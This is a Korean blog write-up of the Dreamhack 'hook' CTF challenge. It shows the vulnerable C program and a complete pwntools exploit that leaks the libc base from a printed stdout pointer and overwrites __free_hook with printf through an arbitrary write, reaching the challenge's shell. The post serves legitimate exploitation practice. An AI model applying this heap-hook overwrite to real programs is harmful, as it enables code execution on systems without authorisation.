[Dreamhack] hook

김성진·2022년 7월 17일
0

Dreamhack_System

목록 보기
15/44

📒 Description

dreamhack hook 문제이다.
RELRO, Canary, NX가 다 걸려있어서 어려울 수도 있겠다.


📒 C code

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);
   
    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

c 코드를 보면 stdout을 출력하므로 libc_base는 구할 수 있겠다.

우리가 원하는 size를 입력하고, 그 만큼 동적할당을 하는 부분을 확인할 수 있다.
이후 값을 입력도 받는데, long type으로 캐스팅 하여 첫 8바이트의 값을 주소값으로 참조하여 그 주소에 해당하는 값을 다음 8바이트에 저장된 값으로 바꾼다.
여기서 우리는, 우리가 원하는 주소의 값을 바꿀 수 있다는 것을 알아낼 수 있다.
실제로 ptr free를 두 번 하여 system("/bin/sh")가 실행될 수는 없는데, free의 hook을 printf로 바꾸어 버리면 문제는 풀리게 된다.

위는 풀면서 생각했던 내용이다.


📒 Exploit

__free_hook을 printf의 주소로 바꾸어 버리면 물론 free는 안 되겠지만 문제는 풀리게 될 것이다.

📖 exploit.py

from pwn import *

LOCAL = False
e = ELF('./hook')
if LOCAL == True:
    p = process('./hook')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    p = remote('host3.dreamhack.games', 22704)
    libc = ELF('./libc.so.6')

printf_offset = libc.symbols['printf']
__free_hook_offset = libc.symbols['__free_hook']
stdout_offset = libc.symbols['_IO_2_1_stdout_']

#------------------------------------------------------

p.recvuntil('stdout: ')
stdout_addr = int(p.recvline()[:-1], 16)

libc_base = stdout_addr - stdout_offset
printf_addr = libc_base + printf_offset
__free_hook_addr = libc_base + __free_hook_offset


#------------------------------------------------------

p.recvuntil('Size: ')
p.sendline(str(1000))

#-----------------------------------------------------

p.recvuntil('Data: ')
payload = p64(__free_hook_addr)
payload += p64(printf_addr)

p.send(payload)

#----------------------------------------------------

p.interactive()

위는 해당 코드이다.
Size에 1000바이트를 입력했는데, 그냥 넉넉히 전달해주었다.

profile
Today I Learned

0개의 댓글